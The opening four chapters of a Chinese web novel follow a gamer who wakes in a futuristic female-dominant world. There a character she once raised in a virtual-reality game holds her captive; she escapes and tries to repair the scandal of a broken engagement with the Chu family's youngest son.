《求助!养的崽总不对劲怎么办![GB]》
1. 第 1 章
漆黑一片的房间里,唯有床边亮着几点光亮,隐约照出了躺在床上那人的脸庞。酒红色的卷发披散着搭在脸颊上,双眼紧闭,眉头微微蹙起,似乎不太舒服。
有着良好作息的席暮意识逐渐清醒,知道自己应该醒了,还有工作,却不知为何身体很是疲惫,几乎无法动弹。
什么情况……席暮想着,努力睁开了眼睛,却因黑暗什么都看不见。嗯?天还没亮?可是明明有亮光,奇怪,好奇怪的灯光,家里有这样的灯吗?
席暮一边胡思乱想着,一边等着自己的身体恢复力气。不知过去了多久,席暮才逐渐重新掌握了自己的身体。
掀开有些过于重了的被子,席暮坐起身,却听到耳边传来窸窸窣窣锁链碰撞的声音。脚腕处也传来被禁锢的感觉,席暮一下子就皱起了眉,小心伸出手向脚腕那边摸去。
一条约莫手指粗细的锁链连着自己的右脚腕,延伸向未知处。席暮下意识用力想要扯断锁链,但是却是徒然。
回过神来后,席暮这才发现自己干了什么蠢事,可是,谁这把她锁起来了?!席暮心中惊慌、愤怒等等情绪不断交替着浮现。
入室抢劫?不劫财但劫色?还是,碰到了变态?可是,自己昨天很早就回了家,并且确定大门上锁了,自己住十七楼,应该不可能从窗户爬进来人吧……
正当席暮胡思乱想,思绪乱飞时,随着一声轻响,整个屋内突然亮起,这突如起来的光明使得席暮下意识闭上了眼睛。视觉暂时消失,于是听力就变得极其灵敏了,席暮听到了一个人的脚步声。
脚步声有些急促,由远及近,似乎很匆忙地向这里赶过来。
“大人!”一声屋门撞击墙壁的声音之后,则是一个满含着期待、紧张的嗓音。
什么东西?席暮有些迷茫,但又隐隐觉得这嗓音有些熟悉,好像在哪里听过一样。
蔺宵看着半坐在床上闭着眼睛的人,心中是按捺不住的激动,对,就是这样迷茫的反应,自己,成功了吗?这么想着,他走到床边,伸出手想要触碰席暮的脸庞。
感知到他的动作,席暮下意识向后避了避,眼睛也因为适应了光亮逐渐睁开。然后她就看到了一张十分熟悉的脸。
“蔺宵?!”席暮瞪大了眼睛,难得有些发蒙。
什么情况?蔺宵他不是游戏里的人吗?为什么会出现在自己面前?自己这是穿越了吗?穿进了游戏里?
“……”听见席暮叫出自己的名字,蔺宵激动地身体都有些发颤,眼眶一下子就红了,眼神逐渐痴迷,“你回来了,大人……”
已经无法用激动来形容蔺宵的心情了,他现在就像是在沙漠中禹禹独行数月终于得见绿洲的濒死者,终于得到了拯救一般,泪水沿着他的眼角无知觉地流下,他却死死盯着席暮,不肯眨眼。
席暮被他的眼神看的心里有些发毛,试探着开口,“我为什么会在这里?”
蔺宵的脑海里一下子就想起了那场由他们发起的巨大祭典,以及他们所做过的事,瞳孔紧缩,不!绝不能让大人知道他做的事,绝不能让大人讨厌他!于是,他只是眸中带泪笑着轻描淡写地回了一句上天保佑。
席暮当然知道这个人在糊弄她,但她知道该怎么套出话来。做了一些心理准备后,她蓦地抬起头凝视着蔺宵,就在后者逐渐露出痛苦的表情时微微一笑,并挥了挥手,“过来。”
这一瞬间就好像千万烟花在心中炸开,蔺宵晕晕乎乎地走到席暮面前,蹲下俯身,任由席暮的手落到自己的头发上轻轻揉搓,“蔺宵,是你把我带到这里来的是吗?”
“……”蔺宵仿佛回到了好多年前,他还只有十一岁的时候,大人就是这样安慰他的,心里越发柔软。他也知道这件事是根本瞒不过去的,于是点头,“是我,大人。您终于,又重新回到这个世界了!”
席暮手上的动作一顿,心中怒火顿起,……什么玩意?我还应该谢谢你?!蔺宵却一无所知沉浸在自己的情绪之中,向席暮表达着这么多年来的思慕之情。
席暮内心冷哼了一声,暂毫不犹豫给了他一巴掌,冷声发问,“我现在是谁?”
席暮清楚她绝对不可能还是当初在游戏里创建的那个身体,因为那个身体已经死得不能再死了,灰都不剩。
蔺宵毫不在意脸上传来的火辣辣的疼痛,只眼中闪过一丝慌乱,嗓音轻柔,“大人,你饿不饿?”
席暮差点被气笑,不是,都这样了,事情都到这一步了,还转移话题?一把推开他的脑袋,席暮冷声道,“我要知道我现在长什么样子。”
骤然脱离了席暮的温柔对待,蔺宵心中忐忑不安极了却又不敢违背席暮,于是只好取来镜子递到席暮手上。
席暮仔细打量了一番自己现在的样子,心情复杂,是一个很漂亮的明艳美人,但是,“这幅身体原本的主人呢?”
蔺宵知道席暮最讨厌滥杀无辜之人,连忙解释,“大人放心,她没事的,她是自愿与我做了交易。我们各取所需。你看大人,这是我们之间交易过程!”
幸好他之前留有证据,蔺宵想,否则大人就要误会他了。
席暮仔细看了蔺宵准备的证据,非常齐整。里面详细记录了他与原主的对话记录以及一些交易事项。
只是,把自己的身体主动献出来?席暮感觉她好像在哪里看到过类似记录,只是她太久没有接触过这个游戏的主线了,记不太清。
但席暮记下了这一点,打算以后去翻翻历史看能不能找到些什么蛛丝马迹。
在了解了一切之后席暮松了口气,虽然现在事情有些超乎想象,但不可否认的是在确认这一切是蔺宵搞的鬼之后,席暮一点都不觉得害怕了,甚至能够占据主导的态度,她知道蔺宵不敢骗她。
怀揣着这样复杂的情绪,席暮将视线挪到蔺宵脸上,语气带着些命令,“把我放开。”
席暮对蔺宵观感很复杂,但不管怎么样,自己也养了他很长时间,终究还是有些感情在身上的。如果,他能就这么把自己放开,那么席暮愿意不跟他计较把自己弄到这个
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世界的事情。反正,在原来世界,自己也没什么可留恋的,或许这里也不错?
极度渴望亲情的席暮怀揣着一丝希望,或许,还有可能?
可蔺宵听不得这种话,失去大人这种事发生一次就足够了,他绝不能接受再一次!蔺宵失去了理智,红着眼眶扑上前死死抱住席暮不肯松手,声音里带着哭腔,“大人,大人,不走好不好,我,我真的很想大人!”
“大人,我们一直不分开好吗?”
之前的怒火被这番话浇灭了许多,席暮看着这个自己养大的孩子,动作温柔地摸了摸他的脸,安慰道,“当然可以,我们做一辈子的家人。”
蔺宵身体一抖,眼睛红了起来,他也知道自己该忍住徐徐图之,但或许是席暮的语气过于温柔,他这一刻还是不可避免地生出了一丝渴望,或许,大人会怜悯他呢?
“大人,我……”于是他抬起头,情意自眼中露出。
席暮没有忽略这个眼神,不可自抑的厌恶翻涌而出,席暮下意识拽住他的头发用力将人甩开,任由后者跌倒在地,“滚!”
“大人……”蔺宵后悔了,他错了,他不该展露的。他想重新拉住席暮,却只得到了毫不留情的抗拒,于是只能在席暮厌恶的目光中离开了房间。
蔺宵想,没关系,只是短暂不能够接受而已,只要像现在这样一直相处下去,大人总有一天会愿意接受自己的。
于是他怀揣着不舍缓缓退出了房间,却在离开后下一秒就吩咐房间内的智能管家密切关注着席暮的一举一动,但凡有一些不对劲都要发出警报。
三年前,席暮第一次接触到【黎明】这款游戏,一款大型虚拟现实游戏。在这里,你可以自由选择游玩重点,而吸引席暮的则是它亲情向的培养部分。
当时的席暮正处于一种极度失落的状态下,迫切的需要感情的慰藉,于是毫不犹豫就下载了这款游戏,并选择了养崽这个路线。
在游戏提供的众多崽崽中,席暮一眼就瞧中了四个少年,画面中少年们满身狼藉但眼神明亮,他们眼中的渴望戳中了席暮的心。
席暮在游戏里投入了很多精力,除了最后一个崽崽因为剧情原因没有找到,其他三个崽崽在她的培养下长得极好,给席暮带来了无与伦比的成就感。
可是……明明一切都很好,只要沿着以前的相处模式相处下去,席暮会选择后半辈子都跟着游戏过下去。可偏偏,游戏剧情过于自由,自由到,亲情向的攻略不知何时变了味道。
或许是她养孩子的方法出了问题?席暮略带茫然地想,所以三个人才会先后对她表达了非同寻常的感情?她把他们当儿子,他们却有了不该有的感情……
在知道了这些之后,席暮果断卸载了游戏。甚至因为三个人在游戏内为了博得席暮的喜爱所做出的行为,席暮实在难以接受且不喜。
于是,席暮为他们精心设计了一场死亡结局——在最终大战即将胜利之际,黎明到来之前,席暮为拯救众人慷慨赴死,由他们亲眼见证。
2. 第 2 章
或许是这一天的心情起伏过大,席暮很快就再次陷入了沉睡了之中。并在睡梦中接收到了属于原身的记忆。虽然有些残缺模糊,但足以让席暮了解原身。
原身是一个幸运又不幸的人,母亲是公爵,但却因为一次任务早早去世,她于十六岁就接任了公爵的席位,但是谁会服一个十六岁的小屁孩呢,于是只能强迫自己竭力变强,变得冷酷。所以她的对外名声不是特别好,但却深受陛下信任。
在记忆的最后,席暮隐约看到了一件事——原身在不久前和楚家的小少爷定下了婚约,似乎很快就要履行婚约结婚了。
醒来后的席暮脑袋发蒙,第一时间想到的并不是蔺宵,而是记忆中与原身定下婚约的楚家少爷,心中隐隐有了不好的预感,结婚时间是什么时候来着?原身并不在乎所以根本没记住。
记忆里没有结婚时的画面,应该还没结?
从蔺宵准确把人囚禁在这里的情况来看,他似乎很确定她能够占据原身的身体,肯定不可能允许原身和楚家小少爷结婚。那么,等她逃出去,取消婚约应该还来得及。
想通了这一点,席暮这才放下心。
那么现在,该想的就是如何离开这里了。席暮第一个想到的就是凭借自己的异能斩破脚上的锁链,然后跑出去,毕竟记忆里原身是一名很强大的风系异能者,区区一根锁链而已。
正当席暮想要试试能否使用异能时,突然想起,这里可是未来星际背景,虽然房间里没有人,但是有智能管家啊!
于是席暮立刻停下了自己想要活动的手。
转而喊了一声,“蔺宵。”
不一会,蔺宵就出现在了房间门口,脸上带着惊喜的表情。
果然……席暮心中暗自庆幸,幸好没有立即付诸行动,不然要是失败就打草惊蛇了。
“大人,你叫我是有什么事情吗?”
“你就打算这么一直关着我?不跟我说话也不让我跟外界接触?囚禁还是绑架?”席暮也不知道该不该庆幸,这个人还是愿意听自己的话。
蔺宵慌乱不已,“我绝不敢这么对待大人,只是,只是…还希望大人能够忍耐一段时间,等我解决了问题,我就带大人回家!”
席暮目光微动。原身是一名公爵,而蔺宵则是来自邻邦的使者,当初就是由原身负责接待他的,不然堂堂一个公爵也不可能那么轻易就被人带到这里来。
而现在,席暮的失踪想必也在外界引发了一些波动才对,那么,作为跟席暮有着密切接触的蔺宵,会不会被怀疑?
“那我想要出去呼吸新鲜空气也不可以?”
“大人,这间房可以打开屋顶的,窗户也是可以打开的,如果大人想,墙壁全都可以变为透明,不会影响你欣赏风景。”尽管知道这样的回答会让席暮生气,蔺宵也不敢冒一点风险。
席暮早就有了准备,所以也不失落,她真正想说的是现在这句,“可我想看看这个被我拯救了的世界。”
蔺宵呆愣在原地,嗫嚅着不知该如何开口。作为亲眼见证了席暮为拯救这个世界所付出一切的人,蔺宵明白这个世界对于她的重要性,他当初对大人动心不正是因为大人救世时所展现出来的美好吗。
看得出蔺宵的为难,席暮心中一定。尽管游戏很自由,但不知道为什么,玩家还是需要完成主线任务。而面对主线——救世,席暮并没有糊弄,非常认真地对待每一次选择,最终成功打出了完美结局。
新历七十三年,地星人们首次发现了来自外星的信号,正满怀着憧憬准备探索宇宙时,却遭遇了一场无与伦比的外星文明入侵灾难。在这场灾难中,人类被奴役,甚至人们的生活习性被强行改变了。那个外星文明是一个母系社会,于是,在他们的安排下,人类男性和女性的地位彻底调换。
在药剂的作用下,女性的力量的身体素质一夜之间直接超越了男性,有些职责比如说生育被转移到了男性身上。这样的改变对当时的男性造成了毁灭性打击,甚至想要动用武力夺回自己的地位。
那时的地星处于内乱外患之中,死亡是常态,人们被笼罩在无法逃离的阴影之中。直到,精神力和异能的诞生,人类终于拥有了反抗的能力。游戏时间线正是在这时候开始的,席暮横空出世一步步带领人们获得胜利,将外星文明消灭。
但也正是因为异能的诞生,男女之间的差距再次被拉开,女性能够更为容易觉醒异能且异能能力也更加强大,再加上身体问题没有找到解决方法,救世主又是女性,于是渐渐地,不再有人反抗。女尊社会定型,残留的外星文明也成功使得人类步入星际时代。
席暮知道自己只是在玩游戏,在游戏中表现出来的无畏英勇都是假的,自己本身是没有那种美好品质的,那些展露在外的只是自己想要让别人看见的,所以,席暮才不相信这三个人对自己的爱啊……
“…对不起…大人”蔺宵痛苦地闭上了眼睛,不敢多呆,逃避似的跑开了。
席暮啧了一声,看样子蔺宵是绝对不可能放自己出去了,怎么样避免智能管家的监视呢?
等等,为什么一定要躲过智能管家的监视呢?席暮脑海里突然蹦出一个方法。
席暮闭上眼睛,回忆着玩游戏时过的教学关卡,将自己的意识沉入自己的精神海内,很快便发现在一团如同龙卷风型的精神力团。令席暮惊喜的是,在其内部,还有着类似星云的红色精神力团在旋转。
这是她的异能,准确来说是她玩游戏时捏造的身体的异能。蔺宵恐怕想不到她虽然‘死’了,但异能并未消失。
再睁开眼时,席暮神色轻松。先是命令智能管家打开了窗帘,静静欣赏着外面的风景。这让一直通过光脑看着席暮一举一动的蔺宵既放心又有些莫名不安。
一天时间就这么安然无恙过去了,席暮也没有什么行动,可越是这样蔺宵越是不安,急忙处理完外界的事物便赶了回来,可又不敢进入房间,只好在外面守着。
“嗡嗡嗡!!!”他特别设定的警报声响起,一股浓烈的烧焦味扑面而来,蔺宵心陡然提起,甚至顾不上开门直接破门而入,就见熊熊燃起的火焰肆意吞噬着房间里
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的一切,一道身影躺在床上一动不动,恐惧狠狠攫取着他的心,蔺宵几近窒息。
顾不上周围的火苗,几步跨到床边,就要掀起被子查看席暮的情况,一阵剧痛就从颈部传来,蔺宵甚至来不及转头,不甘心地晕了过去。
一击成功,席暮顾不上开心,脚上的锁链早在刚才报警时被异能斩断,看到智能管家已经启动救火功能后立刻打开窗户一跃而下,窗户下面是绿茵茵的草地,席暮运转风系异能使其附着在脚上,身体立即变得非常轻盈,落地没有发出一丝声音。
异能在席暮手中如臂使指,不需要练习,轻松便能用出。席暮一边跑一边想,幸好在蔺宵心中她的形象足够光明,才只用了一根细细的锁链,不然她想跑都有些难。
瞅准一个方向,没有停顿,席暮迅速使用异能逃离了这里。
也不知道跑了多久,席暮终于从荒芜一人的地方来到了城市边缘。看着眼前亮堂堂的城市,席暮终于放了心。
也不需要自己赶路,席暮找到夜间值守的警卫表露身份,本来席暮还担心她没有光脑,会不会被怀疑。没想到他们一看见她就明白了她需要什么,立即为她安排了交通工具。
坐上极富有科技感的飞行器,席暮开始思考起刚才自己展露身份时那几个警卫的表情。
总觉得有哪里不对劲……她已经这么有名了吗?肯定是出了什么事情!
席暮有些迫切想要回家了,无论是通过光脑还是家里的人,想必都可以得到相应的信息。
星际世界飞行器的速度快到出乎席暮的想象,信息的传递速度也比她想的要快。等到席暮到达自己门口时,家里的管家已经带着人和光脑在门口等待了。
“公爵大人!”向慧这两天提着的心总算可以放下来了,看着从飞行器下来的大人,向慧不禁向后退了几步,公爵大人身上的威压越发重了,是发生了什么事情吗?
“嗯。”席暮微微颔首,一边往屋里走,一边道,“我离开几天了?这几天出什么事了吗?”
“大人,您已经消失两天了,事情……”向慧语气有些犹豫。
席暮眉头一皱,冷眼看她,向慧心中一惊,连忙道,“这几天并无大事,只是,由于大人您的逃婚举措,所以外界对于大人的传言多了起来,十分影响大人的形象。”
席暮脚步一顿,有些怀疑自己是不是听错了,“逃婚?”
向慧也不是傻子,见席暮这幅样子,便知道席暮的离去的事或有蹊跷,于是将事情的来龙去脉讲了个遍。
席暮消失于两天前的清晨,而那天正是之前席暮与楚家约好的带楚家小少爷去办理结婚手续的时间,第二天就要举办婚礼。可楚家少爷在约定地点等了整整一天都没有等到席暮的到来。
席暮和楚家小少爷的婚约早已被全星际所知,因此也有不少人关注,事情很快就被散播了出去。
八卦这种东西在人们之间的传播速度那是极快的,不到一天时间,几乎全首都星的人都知道了席暮公爵在结婚前夕逃婚一事了。舆论闹得沸沸扬扬。
3. 第 3 章
“我离开之前怎么说的?!嗯?”席暮咬紧了后槽牙,强忍住内心的怒火,她获得的记忆中根本没有这件事,席暮只能尽力从向慧口中套取信息,“就算我不在,但没有人压消息吗?”
“大人……”向慧不知道席暮还记不记得自己做的事,想了想,提示了一句,“您,消失前……”
“什么?”席暮心里一跳,原身不是自愿做交易离开的吗?难道在离开前原身什么都没准备?还是说,原身是被蔺宵掳走的?
“您离开前向楚家发了消息要退婚,说自己出去散心了。”向慧美化了一番那段信息,实际上席暮发出去的消息直接将人楚家家主气进了医院。
“……”席暮按住了额头,很好,蔺宵,很好,再见到你我一定要狠狠收拾你一顿!
“楚家实在气不过,再加上,一些小人作祟,所以网上的消息始终无法被压干净。”
席暮点头表示自己已经了解了,让向慧给自己拿了一个新的光脑之后,钻进书房不再见人了。打开光脑,席暮浏览起了最新的新闻,果不其然,基本所有网站都在说她逃婚一事。
不止是她,还有那位楚家小少爷……网上说什么的都有,甚至还有嘲讽那个楚家小少爷的——山鸡就是山鸡,变不成凤凰,厚着脸皮向陛下求来了这桩婚约,这下好了,遭到反噬了吧。
有些话的用词之恶毒,席暮看的直皱眉。还未见面,席暮已经对这位楚家小少爷有了歉意。
按照原身的记忆,当初楚家只是向陛下提出了请求,这桩婚约的达成,是席暮自己主动申请的。可是现在,却变成了这样的结局。
楚家小少爷实在无辜,光是这些言语就已经是这样了,那四周的异样眼光呢,肯定更让人生气吧。
“嘀……”光脑一震,陛下,也就是如今星际联盟的最高领导人向她发来了通讯命令。
席暮立刻接通,一张温柔又肃穆的脸出现在眼前,宿初夏也就是陛下先是上下打量了一番席暮,随后才缓缓开口,“回来了?一句话不说就退婚,公爵位子不想要了?”
“对不起陛下,事出有因。我会尽快弥补错误。”席暮二话不说直接道歉,她现在还不能失去公爵这个身份。
“我是相信你的。”宿初夏很了解这个为自己办事的公爵,虽然不明白具体出了什么事情,但是宿初夏相信席暮不会做出这样不负责任的事情来,“发生了什么?”
席暮突然犹豫,要说出蔺宵来吗?
“是与你自身有关的私事?”瞧出了席暮的犹豫,宿初夏立刻换了个问题,见席暮点头,“那好,我不再过问。只是,席暮你要知道,你的公爵之位本来就是不稳的,现在出了这样的事情,那些本来就看不惯你的人已经递了不下三十封消息想让我处置你了。”
席暮抿唇,“我知道了陛下,我会处理好的。”
“嗯。”宿初夏脸色缓和了不少,“我虽然偏向于你,但是民众的声音也是不容忽视的。”
席暮当然知道这一点,更何况,盯着她这个公爵位置的人可不少,以前的席暮谨言慎行,没有露出一丝破绽,现在好不容易有了机会,那些人肯定不会轻易罢休。
“目前,最好的办法,就是让楚家亲自下场辟除那些谣言。”在通讯最后,宿初夏意味深长地看了一眼席暮,给出了自己的意见。不等席暮有什么反应,就挂断了通讯。
让楚家亲自下场辟谣?席暮苦笑不已,说得轻巧,但哪有那么容易。换位思考一下,她要是楚家人,现在见到她不想掐死她就不错了……
但是不管怎么样,亲自去楚家上门道歉是肯定的,婚约如果能就此取消更好。如果不能,席暮还得自己想办法。
啧,蔺宵给她挑身份的时候居然没有排除这个隐患。
凭借着记忆里的处理方法,席暮快速将这些天积攒下来的事情处理了一遍,然后让向慧订了一束百合花。
楚家作为仅次于帝国三大家族的家族之一,是极为出名的商人,他们家异能者异能大多都与植物有关,被誉为帝国最爱护自然环境的家族。
所以选择植物作为上门的礼物应该不会出什么差错,当然,赔礼肯定不止这些。
事情太多,席暮甚至来不及想些别的什么,天就亮了。按耐下休息不足导致的头痛,席暮抱着百合花坐上飞行器,向楚家出发。
而楚家,在楚家那座极为出名的‘花园’内,一道消瘦的身影正坐在一丛黄色蔷薇花面前,拿着画笔在画画。而他身边站着楚家两位少爷,分别是温欢和楚栾。
“小宁,累不累?”楚欢的脸上挂着柔和的笑意,语气关切,就像是一位好哥哥,只是眼中却藏着幸灾乐祸。另外一位双手环胸,表情不耐烦,看着楚岁宁总觉得别扭。
名为楚岁宁的存在抬头看了他一眼,摇头,“不累。你要是累的话就走吧。”
楚欢眼中闪过一丝不耐,但还是好声好气地道,“哥哥也不累,哥哥就在这里守着你。”
又过了一会,楚欢心中不耐烦又加剧了几分,这时,一个仆人走近向他说了几句话,他眼睛一亮。
刚想说些什么,就被旁边的楚栾制止,楚栾的目光里满是警告,楚欢心中暗恼却不敢再说。楚栾扭头看了一眼旁边画画的楚岁宁,压低了声音,“不要来打扰我们。”
挥退了仆人,楚栾还是觉得不太保险,便干脆走到了楚岁宁身边,“小宁,我们换个地方画画怎么样?”
楚岁宁乖乖点头,但是却不是准备换个地方画画,他有些困了,想回去睡觉。
“要回去睡觉了。”收拾好画具,楚岁宁这才回答了楚栾之前的问题。
楚栾皱着眉,对楚岁宁的乖顺心里不太舒服但又松了口气。他虽然不喜欢楚岁宁,但同样作为男子,若是他像楚岁宁那样被羞辱,怕不是当场就要找根绳子吊死自己了,自然更不可能想要再见到羞辱自己的人。
所以,让楚岁宁躲开那个公爵,只不过是出于同情罢了。这么想着,楚栾让下人赶紧带着楚岁宁回去了。但又觉得不放心,干脆自己向外面走去,准备去会一会那个席暮公爵。
楚家,会客厅内。席暮正和楚家家主楚沛白相对而坐,席暮面前还摆着一杯热气袅袅的茶。
“公爵大人,不知您今日前来可是为了退婚一事?”楚沛白极力按捺着心里的怒火,但语气里难免带了一丝嘲讽,“在下以为您已经表明态度了。”
席暮微微抿唇,“抱歉,楚家主。”
楚沛白挑眉,有些意外,但是却没有泄露自己的情绪,面上保持着平静,“哈,公爵大人说笑了。是我们高攀了,说到底,都是我们强迫公爵大人的错。”
这话一出,席暮就知道楚沛白是在记恨着星网上那些人的评论,他们说是楚家以自己以往的功劳逼迫陛下让席暮答应了这桩婚约,对楚家以及楚家小少爷极尽嘲讽。
但实际上,楚家只是向陛下请求为楚家小少爷找一个合适的对象,席暮只是其中之一。
“实在抱歉。”席暮站起身,微微弯腰,非常诚恳地表达了自己的歉意,“不知道我能不能见一见小少爷,我想向他道歉。”
楚沛白没有说话,但心里心思急转。席暮这个表现,是
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真心的不假,但是为什么?是因为名声受损了?很快,楚沛白就想明白了席暮道歉服软的原因,但她并不介意这一点,不管怎样,席暮来道歉这一件事所表达出来的态度就足以让许多谣言平息下去。
尽管她想惩罚席暮,但是小宁的名声也很重要。只是自己进了一趟医院,旁系那些人和想要掰倒席暮的人联手,这件事她处理起来很棘手。
所以楚沛白现在在思考另一件事,那就是席暮和小宁的的婚约是否还要继续下去……当时和席暮定下的契约还算不算数?
楚家现在处境还是有些危险,其他人楚沛白也接触过,不是拒绝就是别有用心。只有席暮,只要付出极小的代价就能庇护小宁。
想到这楚沛白抬起头,语气和缓了许多,“这个我要先问一问小宁的意见。”
“这是当然。”席暮点头,为楚沛白的态度变化稍微松了口气。
楚栾来的时候听到的就是楚沛白的话,眉头不自觉皱起,恨不得冲出去直接替楚岁宁拒绝,但又知道母亲绝不会容许这件事发生,于是又急匆匆往楚岁宁房间方向跑去。
楚栾的到来根本没有瞒过楚沛白和席暮,楚沛白了解自己这个儿子,也就没有阻止他的行动。席暮则是毫不关心,完全没想过这个人是去说自己坏话去了。
楚栾抄了近道,所以很快就到了地方。此时楚岁宁已经换好衣服躺在了床上了,小小一只陷在柔软的被子之中,表情幸福,楚栾脚步不由一顿。
“唔?”听见动静,楚岁宁奋力睁开眼睛看向楚栾,眼神迷蒙,很像楚栾养的那只毛发柔软的猫猫。
“等下母亲派人来找你,你不要管他说啥直接拒绝知道吗?”楚栾甩开自己的联想,语气硬邦邦的,怎么看怎么不像是什么好意。
但楚岁宁却听话地点头,声音温软,“知道了哥哥。”
啧,搞什么,这么听话做什么……楚栾有些羞恼,黑着脸走了。楚岁宁眨了眨眼,啊,哥哥的关心总是那么曲折。幸好遇到的是他,能轻易读懂哥哥的心情,楚岁宁有些高兴的想。
不过楚岁宁还是记着哥哥说的话的,于是在楚沛白的人来叫他时,楚岁宁选择了拒绝。会客厅里很快得到了答案,楚沛白无奈一笑,“公爵大人也听到了,小宁他不愿意见你。”
席暮理解,但是心里难免着急。这件事陛下都亲自出面向她作出警告了,所以解决这个问题刻不容缓,现在……席暮肯定不能放弃。
“不知在下是否有荣幸与楚家主共进午餐?”
堂堂一位公爵用如此语气说话,楚沛白还能说什么,自然是答应了。只是这顿午餐席暮没能等到自己想等的人,楚岁宁缺席。
“楚家主,小少爷他不来用午餐吗?”象征性地动了几筷子后,席暮开了口。
楚沛白还没有说话,楚栾先忍不住了,小宁都说了不见人这个罪魁祸首居然还赖着不肯走,小宁这些天因为谣言都瘦了好多!“公爵大人,小宁这些天心情不好,不想出门。”
但,楚栾还记得席暮的身份,尽管这两天或许出了些问题,但也不是他一个小小的楚家少爷能够冒犯的,于是楚栾咽下了心中的责怪,侧面表达了一下情绪。
席暮也头疼啊,心情不好她当然知道是为什么,本来她不是原主这事跟她没什么关系,但一方面原主被迫逃婚也有她的原因,另一方面,席暮还要借助原主的身份生活自然不能那么轻易丢掉公爵身份。无论是出于歉意还是自身利益,她都不可能放弃。
看来问题的关键得落在楚岁宁本人身上,席暮想,得先见到楚岁宁本人再做打算。
4. 第 4 章
在来之前,席暮也有查过资料,知道楚家人都很宠这个小少爷,现在看来也的确如此。所以,想要楚家亲自出面破除外界的不好言论,最关键的就是小少爷本人的态度了。席暮这么想着,就听到了楚沛白迟来的呵斥声。
“好了,乱说什么。”等楚栾不再说话,楚沛白才开口假装训斥了一句,转向席暮时脸上挂起虚假的笑意,“公爵大人,您今天的诚意我也看见了,我知道您是真心想对小宁道歉。不如,由您将小宁的午饭送过去怎么样?”
楚栾瞬间瞪大了眼睛,席暮也很意外,但机会送到眼前了,自然不可能放过,于是立马应下。
席暮被下人领着向楚岁宁的房间去了。人走后,楚栾立马向楚沛白表达了自己的不解与不满,“母亲,您为什么要让那个公爵去见小宁!您明明知道,小宁因为她受了多大委屈!”
楚沛白抬起手向下一压,眼神不似刚才那般虚假,温和却带着些许无奈,“阿栾,你知道如今楚家的情况的。小宁需要保护。”
楚栾张了张嘴,有些委屈,摔下筷子就离席了。楚沛白看着他的背影,叹了口气。
楚家虽不是什么权贵家族,但楚家拥有着一种特殊植物的种植技术,这种植物可以修复提升人的精神力,珍贵无比。正因如此,楚家的地位并不低。但是前段时间,本该成熟上交的一批植物却出了问题,后续种植也并不如意,如果不能按时交上,必定会被问责。
这本不是什么大问题,毕竟技术还在,只是需要时间罢了。陛下绝不会对楚家责罚太过。
所以楚栾并不明白为什么母亲如此急切地为楚岁宁寻找新的靠山去保护他。更让楚栾难过的是,明明他才是母亲的亲生儿子,母亲对他的态度却并不是如此……
另外一边,席暮很快到达楚岁宁的房门口,下人敲了敲房门,屋内很快传来一声嘟囔不清的应答。
“宁少爷,该吃午饭了。”下人像往常一样,但很快想起今天的不同,连忙补充了一句,“还有客人。”
楚岁宁才刚躺下没有多久,却接二连三被吵醒,困倦的不行。也没有听清下人补充的那句,穿着睡衣就打开了房门。奶白色的睡衣上是一只很可爱的名为咕嘟的星际生物,像一只棉花糖一样柔软膨胀的身体,深受现在人的喜爱。
楚岁宁是在开门之后才察觉门口多了一个人,视线落在席暮身上,鼻尖下意识轻耸,片刻后,眼睛一亮,但很快就被疑惑取代。
“席暮……公爵?”楚岁宁有些不明白,这个人为什么在消失之后,身上的味道就变了,以前身上充满了向上的欲望,可现在,好干净的味道……不、不对,这个不是之前的‘席暮’公爵。楚岁宁又仔细嗅了嗅,确认她身上并没有一点不好的情绪残留,这代表着不存在什么非自愿的情况,所以,楚岁宁便将‘席暮’换人这件事抛到了脑后。
席暮看着微微仰头的楚岁宁,目光有些呆滞,怎么会,居然是他?!
席暮没有想到,自己居然会在这里看见那个游戏里始终碰不到的第四个崽崽!在系统展现出来的攻略对象界面,第四个崽崽长大之后的样子就是这样!不过,名字好像对不上……席暮又有些犹豫起来,不确定是不是自己认错了。
席暮还记得当初自己没有放过任何一个细节,却始终找不到第四个崽,一气之下之下投诉了官方,官方给出的解释却是,第四个崽崽将在新主线解锁后出现……
只是,席暮没能等到新主线更新就退游了。席暮曾为之可惜不已。
“楚岁宁?”席暮从记忆里扒拉出那个便宜未婚夫的名字,试探地叫了一声,得到了对面那人乖巧的点头动作。
席暮的心情瞬间复杂了起来,但她并未忘记她的目的,很快收拾好心情,“很抱歉楚小少爷,在这样的情况下和你碰面,我今天来是为之前的行为向你道歉的。”
楚岁宁很清晰从她身上感受到了歉意,于是欣然点头,“好啊,我没事的。你不需要抱歉了。”
……认真的吗?席暮仔细打量着楚岁宁,企图从他身上找出一点不情愿,但是,没有。他黑色的眼睛里满是认真,席暮一时哑然。
“你,不生气吗?”虽然得到了自己想要的回答,但席暮还是没忍住追问了一句。
楚岁宁摇了摇头,“我知道公爵大人之前的行为一定不是出于自己所愿,所以公爵大人不需要自责的。”
楚岁宁说的是实话,因为无论是之前那个充满了前进欲望的公爵还是现在这个干净的公爵,对他都是没有恶意的,而且,他其实都无所谓的,不过是没有成功结婚而已。
但这样的话在席暮听来却是一言难尽,席暮叹气,心里顿时涌出一股对崽崽的恨铁不成钢的痛惜,“崽……楚小少爷,在这件事上,你是受害者,所以你完全有资格生气。”
楚岁宁感受着从席暮身上传来的情感,难得起了些好奇心,她现在变得好奇怪啊……为什么会对自己产生这样的情绪呢?
于是楚岁宁茫然望向席暮,眼中尽是懵懂,席暮则是带着劝说回望,两两相对,相顾无言。
楚沛白来的时候看到的就是这样一副奇怪的画面。
“公爵大人?”楚沛白本以为按照小宁的性格,这场对话并不会太长,但等了一段时间仍未等到席暮回来的她担心出现意外,便赶紧赶了过来,但现在?
席暮回过神,才知道自己干了什么蠢事,微微皱眉转向楚沛白,“楚家主,我……”
但话刚出口就卡住了,总不能当着人面说自己已经道歉过了吧,显得自己太没诚意了。幸好楚沛白知道她未尽的话是什么意思,朝着她点了点头。
楚沛白并没有第一时间回应席暮,而是温声询问楚岁宁,“小宁,还没吃午饭吧,先用饭。”
席暮这才想起自己是来送午饭的……这越发显得她没诚意了。
楚岁宁接过午饭,看了一眼席暮之后,道,“母亲,公爵大人的事就算了吧,我在家里也挺好的。”
楚沛白诧异不已,却只是笑了笑没有具体回答,楚岁宁似乎也只是随口一提,不是很在意答案,向席暮道别之后就关上了房门。
“公爵大人,不如边走边聊?”
“好。”在刚才楚沛白的沉默里,席暮知道了事情没有那么简单,至少绝不是一个道歉可以解决的。“不知楚家主是什么想法?”
“公爵大人,不是我故意为难大人,只是现在网上的言语大人也知晓,这些评论对于小宁的名声造成的损害……”
